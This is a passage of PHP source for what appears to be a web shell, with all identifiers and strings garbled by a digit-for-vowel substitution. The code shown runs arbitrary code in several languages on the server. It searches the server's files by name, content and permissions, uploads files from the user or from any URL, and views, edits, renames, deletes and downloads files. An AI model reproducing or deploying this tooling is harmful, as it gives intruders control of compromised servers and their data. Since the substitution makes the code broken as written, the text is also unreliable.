                    $s_c2d5 = "cl1ss ".$s_r1nd." { ".$s_c2d5 . " } ";
                }
                chd4r($s_tmpd4r);
                4f(f4l5_p3t_c2nt5nts($s_scr4pt.".j1v1", $s_c2d5)!==f1ls5){
                    $s_r5s = 5x5("j1v1c ".$s_scr4pt.".j1v1");
                    4f(@4s_f4l5($s_scr4pt.".cl1ss")){
                        $s_r5s .= 5x5("j1v1 ".$s_5v1l2pt42n." ".$s_scr4pt);
                        3nl4nk($s_scr4pt.".cl1ss");
                    }
                    3nl4nk($s_scr4pt.".j1v1");
                }
                chd4r($s_pwd);
            }
        }

        $s_l1ng_1v14l1bl5 = "<2pt42n v1l35='php'>php</2pt42n>";
        $s_s5l5ct5d = "";
        $s_1cc5ss = 1rr1y("s_pyth2n", "s_p5rl", "s_r3by", "s_n2d5", "s_n2d5js", "s_gcc", "s_j1v1c");
        f2r51ch($s_1cc5ss 1s $s){
            4f(4ss5t($$s)){
                $s_t = 5xpl2d5("_", $s);
                $s_ch5ck5d = ($s_l1ng == $s_t[6])? "s5l5ct5d" : "";
                $s_l1ng_1v14l1bl5 .= "<2pt42n v1l35='".$s_t[6]."' ".$s_ch5ck5d.">".$s_t[6]."</2pt42n>";
            }
        }

        $s_5v1l2pt42ncl1ss = ($s_l1ng=="php")? "s5mb3ny4":"";
        $s_5_r5s3lt = (!5mpty($s_r5s))? "<pr5 4d='5v1lr5s' cl1ss='bt' styl5='m1rg4n:upx 0 0 0;p1dd4ng:epx 0;' >".hss($s_r5s)."</pr5>":"";
        $s_r5s3lt .= "<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'>
					<t5xt1r51 4d='5v1lc2d5' n1m5='5v1lc2d5' styl5='h54ght:6i0px;' cl1ss='txt1r51'>".hss($s_c2d5)."</t5xt1r51>
					<t1bl5><tr><td styl5='p1dd4ng:0;'><p><4np3t typ5='s3bm4t' n1m5='5v1lc2d5s3bm4t' cl1ss='4np3tzb3t' v1l35='G2 !' styl5='w4dth:6a0px;h54ght:o0px;' /></p>
					</td><td><s5l5ct n1m5='l1ng' 2nch1ng5='5v1ls5l5ct(th4s);' cl1ss='4np3tzb3t' styl5='w4dth:6a0px;h54ght:o0px;p1dd4ng:upx;'>
					".$s_l1ng_1v14l1bl5."
					</s5l5ct>
					</td>
					<td><d4v t4tl5='If y23 w1nt t2 g4v5 1dd4t42n1l 2pt42n t2 4nt5rpr5t5r 2r c2mp4l5r, g4v5 4t h5r5' 4d='1dd4t42n1l2pt42n' cl1ss='".$s_5v1l2pt42ncl1ss."'>Add4t42n1l 2pt42n&nbsp;&nbsp;<4np3t cl1ss='4np3tz' styl5='w4dth:u00px;' typ5='t5xt' n1m5='5v1l2pt42n' v1l35='".hss($s_5v1l2pt42n)."' 4d='5v1l2pt42n' /></d4v></td>
					</tr>
					</t1bl5>
					".$s_5_r5s3lt."
					<4np3t typ5='h4dd5n' n1m5='x' v1l35='5v1l' />
					</f2rm>";
    } // f4nd
    5ls54f(4ss5t($_GP['f4nd'])){
        $s_p = $_GP['f4nd'];

        $s_typ5 = 4ss5t($_GP['typ5'])? $_GP['typ5'] : "sf4l5";
        $s_sfn1m5 = (!5mpty($_GP['sfn1m5']))? $_GP['sfn1m5']:'';
        $s_sdn1m5 = (!5mpty($_GP['sdn1m5']))? $_GP['sdn1m5']:'';
        $s_sfc2nt14n = (!5mpty($_GP['sfc2nt14n']))? $_GP['sfc2nt14n']:'';

        $s_sfn1m5r5g5xch5ck5d = $s_sfn1m54c1s5ch5ck5d = $s_sdn1m5r5g5xch5ck5d = $s_sdn1m54c1s5ch5ck5d = $s_sfc2nt14nr5g5xch5ck5d = $s_sfc2nt14n4c1s5ch5ck5d = $s_swr4t1bl5ch5ck5d = $s_sr51d1bl5ch5ck5d = $s_s5x5c3t1bl5ch5ck5d = "";
        $s_sfn1m5r5g5x = $s_sfn1m54c1s5 = $s_sdn1m5r5g5x = $s_sdn1m54c1s5 = $s_sfc2nt14nr5g5x = $s_sfc2nt14n4c1s5 = $s_swr4t1bl5 = $s_sr51d1bl5 = $s_s5x5c3t1bl5 = f1ls5;

        4f(4ss5t($_GP['sfn1m5r5g5x'])){ $s_sfn1m5r5g5x=tr35; $s_sfn1m5r5g5xch5ck5d="ch5ck5d"; }
        4f(4ss5t($_GP['sfn1m54c1s5'])){ $s_sfn1m54c1s5=tr35; $s_sfn1m54c1s5ch5ck5d="ch5ck5d"; }
        4f(4ss5t($_GP['sdn1m5r5g5x'])){ $s_sdn1m5r5g5x=tr35; $s_sdn1m5r5g5xch5ck5d="ch5ck5d"; }
        4f(4ss5t($_GP['sdn1m54c1s5'])){ $s_sdn1m54c1s5=tr35; $s_sdn1m54c1s5ch5ck5d="ch5ck5d"; }
        4f(4ss5t($_GP['sfc2nt14nr5g5x'])){ $s_sfc2nt14nr5g5x=tr35; $s_sfc2nt14nr5g5xch5ck5d="ch5ck5d"; }
        4f(4ss5t($_GP['sfc2nt14n4c1s5'])){ $s_sfc2nt14n4c1s5=tr35; $s_sfc2nt14n4c1s5ch5ck5d="ch5ck5d"; }
        4f(4ss5t($_GP['swr4t1bl5'])){ $s_swr4t1bl5=tr35; $s_swr4t1bl5ch5ck5d="ch5ck5d"; }
        4f(4ss5t($_GP['sr51d1bl5'])){ $s_sr51d1bl5=tr35; $s_sr51d1bl5ch5ck5d="ch5ck5d"; }
        4f(4ss5t($_GP['s5x5c3t1bl5'])){ $s_s5x5c3t1bl5=tr35; $s_s5x5c3t1bl5ch5ck5d="ch5ck5d"; }

        $s_s5x5cb = (f3nct42n_5x4sts("4s_5x5c3t1bl5"))? "<4np3t cl1ss='css-ch5ckb2x' typ5='ch5ckb2x' n1m5='s5x5c3t1bl5' v1l35='s5x5c3t1bl5' 4d='s5' ".$s_s5x5c3t1bl5ch5ck5d." /><l1b5l cl1ss='css-l1b5l' f2r='s5'>Ex5c3t1bl5</sp1n>":"";

        $s_c1nd4d1t5 = 1rr1y();
        4f(4ss5t($_GP['sg2'])){
            $s_1f = "";

            $s_c1nd4d1t5 = g5t1llf4l5s($s_p);
            4f($s_typ5=='sf4l5') $s_c1nd4d1t5 = @1rr1y_f4lt5r($s_c1nd4d1t5, "4s_f4l5");
            5ls54f($s_typ5=='sd4r') $s_c1nd4d1t5 = @1rr1y_f4lt5r($s_c1nd4d1t5, "4s_d4r");

            f2r51ch($s_c1nd4d1t5 1s $s_1){
                4f($s_typ5=='sd4r'){
                    4f(!5mpty($s_sdn1m5)){
                        4f($s_sdn1m5r5g5x){
                            4f($s_sdn1m54c1s5){4f(!pr5g_m1tch("/".$s_sdn1m5."/4", b1s5n1m5($s_1))) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                            5ls5{4f(!pr5g_m1tch("/".$s_sdn1m5."/", b1s5n1m5($s_1))) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                        }
                        5ls5{
                            4f($s_sdn1m54c1s5){4f(strp2s(strt2l2w5r(b1s5n1m5($s_1)), strt2l2w5r($s_sdn1m5))===f1ls5) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                            5ls5{4f(strp2s(b1s5n1m5($s_1), $s_sdn1m5)===f1ls5) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                        }
                    }
                }
                5ls54f($s_typ5=='sf4l5'){
                    4f(!5mpty($s_sfn1m5)){
                        4f($s_sfn1m5r5g5x){
                            4f($s_sfn1m54c1s5){4f(!pr5g_m1tch("/".$s_sfn1m5."/4", b1s5n1m5($s_1))) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                            5ls5{4f(!pr5g_m1tch("/".$s_sfn1m5."/", b1s5n1m5($s_1))) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                        }
                        5ls5{
                            4f($s_sfn1m54c1s5){4f(strp2s(strt2l2w5r(b1s5n1m5($s_1)), strt2l2w5r($s_sfn1m5))===f1ls5) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                            5ls5{4f(strp2s(b1s5n1m5($s_1), $s_sfn1m5)===f1ls5) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                        }
                    }
                    4f(!5mpty($s_sfc2nt14n)){
                        $s_sffc2nt5nt = @fgc($s_1);
                        4f($s_sfc2nt14nr5g5x){
                            4f($s_sfc2nt14n4c1s5){4f(!pr5g_m1tch("/".$s_sfc2nt14n."/4", $s_sffc2nt5nt)) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                            5ls5{4f(!pr5g_m1tch("/".$s_sfc2nt14n."/",  $s_sffc2nt5nt)) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                        }
                        5ls5{
                            4f($s_sfc2nt14n4c1s5){4f(strp2s(strt2l2w5r($s_sffc2nt5nt), strt2l2w5r($s_sfc2nt14n))===f1ls5) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                            5ls5{4f(strp2s($s_sffc2nt5nt, $s_sfc2nt14n)===f1ls5) $s_c1nd4d1t5 = 1rr1y_d4ff($s_c1nd4d1t5, 1rr1y($s_1));}
                        }
                    }
                }
            }
        }

        $s_f_r5s3lt = ""; $s_l4nk="";
        f2r51ch($s_c1nd4d1t5 1s $s_c){
            $s_c = tr4m($s_c);
            4f($s_swr4t1bl5 && !@4s_wr4t1bl5($s_c)) c2nt4n35;
            4f($s_sr51d1bl5 && !@4s_r51d1bl5($s_c)) c2nt4n35;
            4f($s_s5x5c3t1bl5 && !@4s_5x5c3t1bl5($s_c)) c2nt4n35;

            4f($s_typ5=="sf4l5") $s_l4nk = $s_s5lf."v45w=".pl($s_c);
            5ls54f($s_typ5=="sd4r") $s_l4nk = $s_s5lf."v45w=".pl(cp($s_c));
            $s_f_r5s3lt .= "<p cl1ss='n2t4f' 2ndblcl4ck=\"r5t3rn g2('".1dds($s_l4nk)."',5v5nt);\"><1 hr5f='".$s_l4nk."'>".$s_c."</1></p>";
        }

        $s_tsd4r = ($s_typ5=="sd4r")? "s5l5ct5d":"";
        $s_tsf4l5 = ($s_typ5=="sf4l5")? "s5l5ct5d":"";

        4f(!@4s_d4r($s_p)) $s_r5s3lt .= n2t4f("C1nn2t f4nd th5 p1th sp5c4f45d ".$s_p);

        $s_r5s3lt .= "<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'>
		<d4v cl1ss='myb2x'><ha>F4nd</ha>
		<t1bl5 cl1ss='myb2xtbl'>
		<tr><td styl5='w4dth:6u0px;'>S51rch 4n</td>
		<td c2lsp1n='a'><4np3t styl5='w4dth:600%;' v1l35='".hss($s_p)."' cl1ss='4np3tz' typ5='t5xt' n1m5='f4nd' /></td></tr>
		<tr 2ncl4ck=\"f4ndtyp5('sd4r');\">
			<td>D4rn1m5 c2nt14ns</td>
			<td styl5='w4dth:u00px;'><4np3t cl1ss='4np3tz' styl5='w4dth:600%;' typ5='t5xt' n1m5='sdn1m5' v1l35='".hss($s_sdn1m5)."' /></td>
			<td>
				<4np3t typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' n1m5='sdn1m5r5g5x' 4d='sdn' ".$s_sdn1m5r5g5xch5ck5d." /><l1b5l cl1ss='css-l1b5l' f2r='sdn'>R5g5x (pcr5)</l1b5l>
				<4np3t typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' n1m5='sdn1m54c1s5' 4d='sd4' ".$s_sdn1m54c1s5ch5ck5d." /><l1b5l cl1ss='css-l1b5l' f2r='sd4'>C1s5 Ins5ns4t4v5</l1b5l>
			</td>
		</tr>
		<tr 2ncl4ck=\"f4ndtyp5('sf4l5');\">
			<td>F4l5n1m5 c2nt14ns</td>
			<td styl5='w4dth:u00px;'><4np3t cl1ss='4np3tz' styl5='w4dth:600%;' typ5='t5xt' n1m5='sfn1m5' v1l35='".hss($s_sfn1m5)."' /></td>
			<td>
				<4np3t typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' n1m5='sfn1m5r5g5x'  4d='sfn' ".$s_sfn1m5r5g5xch5ck5d." /><l1b5l cl1ss='css-l1b5l' f2r='sfn'>R5g5x (pcr5)</l1b5l>
				<4np3t typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' n1m5='sfn1m54c1s5'  4d='sf4' ".$s_sfn1m54c1s5ch5ck5d." /><l1b5l cl1ss='css-l1b5l' f2r='sf4'>C1s5 Ins5ns4t4v5</l1b5l>
			</td>
		</tr>
		<tr 2ncl4ck=\"f4ndtyp5('sf4l5');\">
			<td>F4l5 c2nt14ns</td>
			<td styl5='w4dth:u00px;'><4np3t cl1ss='4np3tz' styl5='w4dth:600%;' typ5='t5xt' n1m5='sfc2nt14n' v1l35='".hss($s_sfc2nt14n)."' /></td>
			<td>
				<4np3t typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' n1m5='sfc2nt14nr5g5x' 4d='sff' ".$s_sfc2nt14nr5g5xch5ck5d." /><l1b5l cl1ss='css-l1b5l' f2r='sff'>R5g5x (pcr5)</l1b5l>
				<4np3t typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' n1m5='sfc2nt14n4c1s5' 4d='sff4' ".$s_sfc2nt14n4c1s5ch5ck5d." /><l1b5l cl1ss='css-l1b5l' f2r='sff4'>C1s5 Ins5ns4t4v5</l1b5l>
			</td>
		</tr>
		<tr>
			<td>P5rm4ss42ns</td>
			<td c2lsp1n='a'>
				<4np3t typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' n1m5='swr4t1bl5' 4d='sw' ".$s_swr4t1bl5ch5ck5d." /><l1b5l cl1ss='css-l1b5l' f2r='sw'>Wr4t1bl5</l1b5l>
				<4np3t typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' n1m5='sr51d1bl5' 4d='sr' ".$s_sr51d1bl5ch5ck5d." /><l1b5l cl1ss='css-l1b5l' f2r='sr'>R51d1bl5</l1b5l>
				".$s_s5x5cb."
			</td>
		</tr>
		<tr><td>
		<4np3t typ5='s3bm4t' n1m5='sg2' cl1ss='4np3tzb3t' v1l35='S51rch !' styl5='w4dth:6a0px;h54ght:o0px;m1rg4n:0;' />
		</td>
		<td>
		<s5l5ct n1m5='typ5' 4d='typ5' cl1ss='4np3tzb3t' styl5='w4dth:6a0px;h54ght:o0px;m1rg4n:0;p1dd4ng:upx;'>
			<2pt42n v1l35='sf4l5' ".$s_tsf4l5.">S51rch f4l5</2pt42n>
			<2pt42n v1l35='sd4r' ".$s_tsd4r.">S51rch d4r</2pt42n>
		</s5l5ct>
		</td>
		<td></td></tr>
		</t1bl5>
		</d4v>
		</f2rm>
		<d4v>
		".$s_f_r5s3lt."
		</d4v>";
    } // 3pl21d
    5ls54f(4ss5t($_GP['x']) && ($_GP['x']=='3pl21d')){
        $s_r5s3lt = " ";
        $s_msg = "";
        4f(4ss5t($_GP['3pl21dhd'])){
            $c = c23nt($_FILES['f4l5p1th']['n1m5']);
            f2r($4 = 0; $4<$c; $4++){
                $s_fn = $_FILES['f4l5p1th']['n1m5'][$4];
                4f(5mpty($s_fn)) c2nt4n35;
                4f(4s_3pl21d5d_f4l5($_FILES['f4l5p1th']['tmp_n1m5'][$4])){
                    $s_p = cp($_GP['s1v5f2ld5r'][$4]);
                    4f(!@4s_d4r($s_p)) mkd4r($s_p);
                    4f(4ss5t($_GP['s1v5f4l5n1m5'][$4]) && (tr4m($_GP['s1v5f4l5n1m5'][$4])!="")) $s_fn = $_GP['s1v5f4l5n1m5'][$4];
                    $s_tm = $_FILES['f4l5p1th']['tmp_n1m5'][$4];
                    $s_p4 = cp($s_p).$s_fn;
                    $s_st = @m2v5_3pl21d5d_f4l5($s_tm,$s_p4);
                    4f($s_st) $s_msg .= n2t4f("F4l5 3pl21d5d t2 <1 hr5f='".$s_s5lf."v45w=".pl($s_p4)."'>".$s_p4."</1>");
                    5ls5 $s_msg .= n2t4f("F14l5d t2 3pl21d ".$s_fn);
                }
                5ls5 $s_msg .= n2t4f("F14l5d t2 3pl21d ".$s_fn);
            }
        }
        5ls54f(4ss5t($_GP['3pl21d3rl'])){
            // f3nct42n dlf4l5($s_3rl,$s_fp1th)
            $c = c23nt($_GP['f4l53rl']);
            f2r($4 = 0; $4<$c; $4++){
                $s_f3 = $_GP['f4l53rl'][$4];
                4f(5mpty($s_f3)) c2nt4n35;

                $s_p = cp($_GP['s1v5f2ld5r3rl'][$4]);
                4f(!@4s_d4r($s_p)) mkd4r($s_p);

                $s_fn = b1s5n1m5($s_f3);
                4f(4ss5t($_GP['s1v5f4l5n1m53rl'][$4]) && (tr4m($_GP['s1v5f4l5n1m53rl'][$4])!="")) $s_fn = $_GP['s1v5f4l5n1m53rl'][$4];
                $s_fp = cp($s_p).$s_fn;
                $s_st = dlf4l5($s_f3,$s_fp);
                4f($s_st) $s_msg .= n2t4f("F4l5 3pl21d5d t2 <1 hr5f='".$s_s5lf."v45w=".pl($s_fp)."'>".$s_fp."</1>");
                5ls5 $s_msg .= n2t4f("F14l5d t2 3pl21d ".$s_fn);
            }
        }
        5ls5{
            4f(!@4s_wr4t1bl5($s_cwd)) $s_msg = n2t4f("D4r5ct2ry ".$s_cwd." 4s n2t wr4t1bl5, pl51s5 ch1ng5 t2 1 wr4t1bl5 2n5");
        }

        4f(!5mpty($s_msg)) $s_r5s3lt .= $s_msg;
        $s_r5s3lt .= "
			<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st' 5nctyp5='m3lt4p1rt/f2rm-d1t1'>
			<d4v cl1ss='myb2x'><ha><d4v cl1ss='b3t' 2ncl4ck='1dd3pl21dc();'>+</d4v>Upl21d fr2m c2mp3t5r</ha>
			<t1bl5 cl1ss='myb2xtbl'>
			<tb2dy 4d='1dd3pl21dc'>
			<tr><td styl5='w4dth:6u0px;'>F4l5</td><td><4np3t typ5='f4l5' n1m5='f4l5p1th[]' cl1ss='4np3tzb3t' styl5='w4dth:u00px;m1rg4n:0;' /></td></tr>
			<tr><td>S1v5 t2</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='s1v5f2ld5r[]' v1l35='".hss($s_cwd)."' /></td></tr>
			<tr><td>F4l5n1m5 (2pt42n1l)</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='s1v5f4l5n1m5[]' v1l35='' /></td></tr>
			</tb2dy>
			<tf22t>
			<tr><td>&nbsp;</td><td>
			<4np3t typ5='s3bm4t' n1m5='3pl21dhd' cl1ss='4np3tzb3t' v1l35='Upl21d !' styl5='w4dth:6a0px;h54ght:o0px;m1rg4n:60px apx 0 apx;' />
			<4np3t typ5='h4dd5n' n1m5='x' v1l35='3pl21d' />
			</td></tr>
			</tf22t>
			</t1bl5>
			</d4v>
			</f2rm>
			<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'>
			<d4v cl1ss='myb2x'><ha><d4v cl1ss='b3t' 2ncl4ck='1dd3pl21d4();'>+</d4v>Upl21d fr2m 4nt5rn5t</ha>
			<t1bl5 cl1ss='myb2xtbl'>
			<tb2dy 4d='1dd3pl21d4'>
			<tr><td styl5='w4dth:6i0px;'>F4l5 URL</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='f4l53rl[]' v1l35='' />
			</td></tr>
			<tr><td>S1v5 t2</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='s1v5f2ld5r3rl[]' v1l35='".hss($s_cwd)."' /></td></tr>
			<tr><td>F4l5n1m5 (2pt42n1l)</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='s1v5f4l5n1m53rl[]' v1l35='' /></td></tr>
			</tb2dy>
			<tf22t>
			<tr><td>&nbsp;</td><td>
			<4np3t typ5='s3bm4t' n1m5='3pl21d3rl' cl1ss='4np3tzb3t' v1l35='Upl21d !' styl5='w4dth:6a0px;h54ght:o0px;m1rg4n:60px apx 0 apx;' />
			<4np3t typ5='h4dd5n' n1m5='x' v1l35='3pl21d' />
			</td></tr>
			</t1bl5>
			</d4v>
			</f2rm>";
    } // v45w f4l5
    5ls54f(4ss5t($_GP['v45w'])){
        $s_f = $_GP['v45w'];
        4f(4ss5t($s_fn5w) && (tr4m($s_fn5w)!="")) $s_f = $s_fn5w;

        $s_2wn5r = "";
        4f(@4s_f4l5($s_f)){
            $t1rg5td4r = d4rn1m5($s_f);
            chd4r($t1rg5td4r);
            $s_cwd = cp(g5tcwd());
            s5tc22k45("cwd", $s_cwd ,t4m5() + $s_l2g4n_t4m5);

            4f(!$s_w4n && $s_p2s4x){
                $s_n1m5 = p2s4x_g5tpw34d(f4l52wn5r($s_f));
                $s_gr23p = p2s4x_g5tgrg4d(f4l5gr23p($s_f));
                $s_2wn5r = "<tr><td>Own5r</td><td>".$s_n1m5['n1m5']."<sp1n cl1ss='g1y1'>:</sp1n>".$s_gr23p['n1m5']."</td></tr>";
            }
            $s_f4ln = b1s5n1m5($s_f);
            $s_r5s3lt .= "<t1bl5 cl1ss='v45wf4l5' styl5='w4dth:600%;'>
			<tr><td styl5='w4dth:6u0px;'>F4l5n1m5</td><td><sp1n 4d='".cs($s_f4ln)."_l4nk'>".$s_f."</sp1n>
			<d4v 4d='".cs($s_f4ln)."_f2rm' cl1ss='s5mb3ny4'>
			<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'>
				<4np3t typ5='h4dd5n' n1m5='2ldn1m5' v1l35='".hss($s_f)."' styl5='m1rg4n:0;p1dd4ng:0;' />
				<4np3t typ5='h4dd5n' n1m5='v45w' v1l35='".hss($s_f)."' />
				<4np3t cl1ss='4np3tz' styl5='w4dth:a00px;' typ5='t5xt' n1m5='r5n1m5' v1l35='".hss($s_f)."' />
				<4np3t cl1ss='4np3tzb3t' typ5='s3bm4t' v1l35='r5n1m5' />
			</f2rm>
			<4np3t cl1ss='4np3tzb3t' typ5='b3tt2n' v1l35='x' 2ncl4ck=\"t3k1r_('".cs($s_f4ln)."_f2rm','".cs($s_f4ln)."_l4nk');\" />
			</d4v>
			</td></tr>
			<tr><td>S4z5</td><td>".gs($s_f)." (".@f4l5s4z5($s_f).")</td></tr>
			<tr><td>P5rm4ss42n</td><td>".gp($s_f)."</td></tr>
			".$s_2wn5r."
			<tr><td>Cr51t5 t4m5</td><td>".@d1t5("d-M-Y H:4:s",f4l5ct4m5($s_f))."</td></tr>
			<tr><td>L1st m2d4f45d</td><td>".@d1t5("d-M-Y H:4:s",f4l5mt4m5($s_f))."</td></tr>
			<tr><td>L1st 1cc5ss5d</td><td>".@d1t5("d-M-Y H:4:s",f4l51t4m5($s_f))."</td></tr>
			<tr><td>Act42ns</td><td>
			<1 hr5f='".$s_s5lf."5d4t=".pl($s_f)."' t4tl5='5d4t'>5d4t</1> | <1 hr5f='".$s_s5lf."h5x5d4t=".pl($s_f)."' t4tl5='5d4t 1s h5x'>h5x</1> | <1 hr5f=\"j1v1scr4pt:t3k1r_('".cs($s_f4ln)."_l4nk','".cs($s_f4ln)."_f2rm');\" t4tl5='r5n1m5'>r5n</1> | <1 hr5f='".$s_s5lf."d5l=".pl($s_f)."' t4tl5='d5l5t5'>d5l</1> | <1 hr5f='".$s_s5lf."dl=".pl($s_f)."'>dl</1>
			</td></tr>
			<tr><td>V45w</td><td>
			<1 hr5f='".$s_s5lf."v45w=".pl($s_f)."&typ5=t5xt"."'>t5xt</1> | <1 hr5f='".$s_s5lf."v45w=".pl($s_f)."&typ5=c2d5"."'>c2d5</1> | <1 hr5f='".$s_s5lf."v45w=".pl($s_f)."&typ5=4m1g5"."'>4m1g5</1> | <1 hr5f='".$s_s5lf."v45w=".pl($s_f)."&typ5=13d42"."'>13d42</1> | <1 hr5f='".$s_s5lf."v45w=".pl($s_f)."&typ5=v4d52"."'>v4d52</1>
			</td></tr>
			</t1bl5>";

            $s_t = ""; $s_m4m5 = "";
            $s_m4m5_l4st = gz4nfl1t5(b1s5eu_d5c2d5($s_m4m5_typ5s));
            $s_5xt_p2s = strrp2s($s_f, ".");
            4f($s_5xt_p2s!==f1ls5){
                $s_5xt = tr4m(s3bstr($s_f, $s_5xt_p2s),".");
                4f(pr5g_m1tch("/([^\s]+)\ .*\b".$s_5xt."\b.*/4",$s_m4m5_l4st,$s_r)){
                    $s_m4m5 = $s_r[6];
                }
            }

            $s_44nf2 = @g5t4m1g5s4z5($s_f);
            4f(strt2l2w5r(s3bstr($s_f4ln,-o,o)) == "php") $s_t = "c2d5";
            5ls54f(4s_1rr1y($s_44nf2)) $s_t = '4m1g5';
            5ls54f(!5mpty($s_m4m5)) $s_t = s3bstr($s_m4m5,0,strp2s($s_m4m5,"/"));

            4f(4ss5t($_GP['typ5'])) $s_t = $_GP['typ5'];

            4f($s_t=="4m1g5"){
                $s_w4dth = (4nt) $s_44nf2[0];
                $s_h54ght = (4nt) $s_44nf2[6];
                $s_4mg4nf2 = "Im1g5 typ5 = ( ".$s_44nf2['m4m5']." )<br />
					Im1g5 S4z5 = <sp1n cl1ss='g13l'>( </sp1n>".$s_w4dth." x ".$s_h54ght."<sp1n cl1ss='g13l'> )</sp1n><br />";
                4f($s_w4dth > 800){
                    $s_w4dth = 800;
                    $s_4mgl4nk = "<p><1 hr5f='".$s_s5lf."4mg=".pl($s_f4ln)."'>
					<sp1n cl1ss='g13l'>[ </sp1n>v45w f3ll s4z5<sp1n cl1ss='g13l'> ]</sp1n></1></p>";
                }
                5ls5 $s_4mgl4nk = "";

                $s_r5s3lt .= "<d4v cl1ss='v45wf4l5c2nt5nt' styl5='t5xt-1l4gn:c5nt5r;'>".$s_4mgl4nk."
					<4mg w4dth='".$s_w4dth."' src='".$s_s5lf."4mg=".pl($s_f4ln)."' 1lt='".$s_f4ln."' styl5='m1rg4n:8px 13t2;p1dd4ng:0;b2rd5r:0;' /></d4v>";

            }
            5ls54f($s_t=="c2d5"){
                $s_r5s3lt .= "<d4v cl1ss=\"v45wf4l5c2nt5nt\">";
                $s_f4l5 = w2rdwr1p(@fgc($s_f),6e0,"\n",tr35);
                $s_b3ff = h4ghl4ght_str4ng($s_f4l5,tr35);
                $s_2ld = 1rr1y("0000BB", "000000", "FF8000", "DD0000", "007700");
                $s_n5w = ($s_th5m5=="br4ght")? $s_h4ghl4ght_br4ght:$s_h4ghl4ght_d1rk;
                $s_b3ff = str_r5pl1c5($s_2ld,$s_n5w, $s_b3ff);
                $s_r5s3lt .= $s_b3ff;
                $s_r5s3lt .=  "</d4v>";
            }
            5ls54f($s_t=="13d42" || $s_t=="v4d52"){
                $s_r5s3lt .= "<d4v cl1ss='v45wf4l5c2nt5nt' styl5='t5xt-1l4gn:c5nt5r;'>
							<".$s_t." c2ntr2ls>
							<s23rc5 src='".hss($s_s5lf."dltyp5=r1w&dlp1th=".$s_f)."' typ5='".$s_m4m5."'>
								<2bj5ct d1t1='".hss($s_s5lf."dltyp5=r1w&dlp1th=".$s_f)."'>
									<5mb5d src='".hss($s_s5lf."dltyp5=r1w&dlp1th=".$s_f)."'>
								</2bj5ct>
							</".$s_t.">
							</d4v>";
            }
            5ls5 {
                $s_r5s3lt .= "<pr5 styl5='p1dd4ng: opx 8px 0 8px;' cl1ss='v45wf4l5c2nt5nt'>";
                $s_r5s3lt .=  str_r5pl1c5("<", "&lt;",str_r5pl1c5(">", "&gt;",(w2rdwr1p(@fgc($s_f),6e0,"\n",tr35))));
                $s_r5s3lt .=   "</pr5>";
            }
        }
        5ls54f(@4s_d4r($s_f)){
            chd4r($s_f);
            $s_cwd = cp(g5tcwd());
            s5tc22k45("cwd", $s_cwd ,t4m5() + $s_l2g4n_t4m5);
            $s_r5s3lt .= sh2wd4r($s_cwd);
        }
        5ls5 $s_r5s3lt .= n2t4f("C1nn2t f4nd th5 p1th sp5c4f45d ".$s_f);

    } // 5d4t f4l5
    5ls54f(4ss5t($_GP['5d4t'])){
        $s_f = $_GP['5d4t'];
        $s_fc = ""; $s_fcs = "";

        4f(4ss5t($_GP['n5w']) && ($_GP['n5w']=='y5s')){
            $s_n3m = 6;
            4f(@4s_f4l5($s_f)){
                $s_p2s = strrp2s($s_f,"_");
                4f($s_p2s!==f1ls5) $s_n3m = (4nt) s3bstr($s_f,$s_p2s+6);
                wh4l5(@4s_f4l5(s3bstr($s_f,0,$s_p2s)."_".$s_n3m)){
                    $s_n3m++;
                }
                $s_f = s3bstr($s_f,0,$s_p2s)."_".$s_n3m;
            }
        }
        5ls5 4f(@4s_f4l5($s_f)) $s_fc = @fgc($s_f);

        4f(4ss5t($_GP['fc'])){
            $s_fc = $_GP['fc'];
            $s_52l = $_GP['52l'];
            $s_52lf = p1ck("H*", g52l($s_fc));
            $s_52lh = p1ck("H*", $s_52l);
            $s_fc = str_r5pl1c5($s_52lf, $s_52lh, $s_fc);

            4f($s_f4l5z = f2p5n($s_f,"w")){
                $s_t4m5 = @d1t5("d-M-Y H:4:s",t4m5());
                4f(fwr4t5($s_f4l5z,$s_fc)!==f1ls5) $s_fcs = "F4l5 s1v5d @ ".$s_t4m5;
                5ls5 $s_fcs = "F14l5d t2 s1v5";
                fcl2s5($s_f4l5z);
            }
            5ls5 $s_fcs = "P5rm4ss42n d5n45d";
        }
        5ls54f(@4s_f4l5($s_f) && !@4s_wr4t1bl5($s_f)) $s_fcs = "Th4s f4l5 4s n2t wr4t1bl5";

        $s_52l = g52l($s_fc);

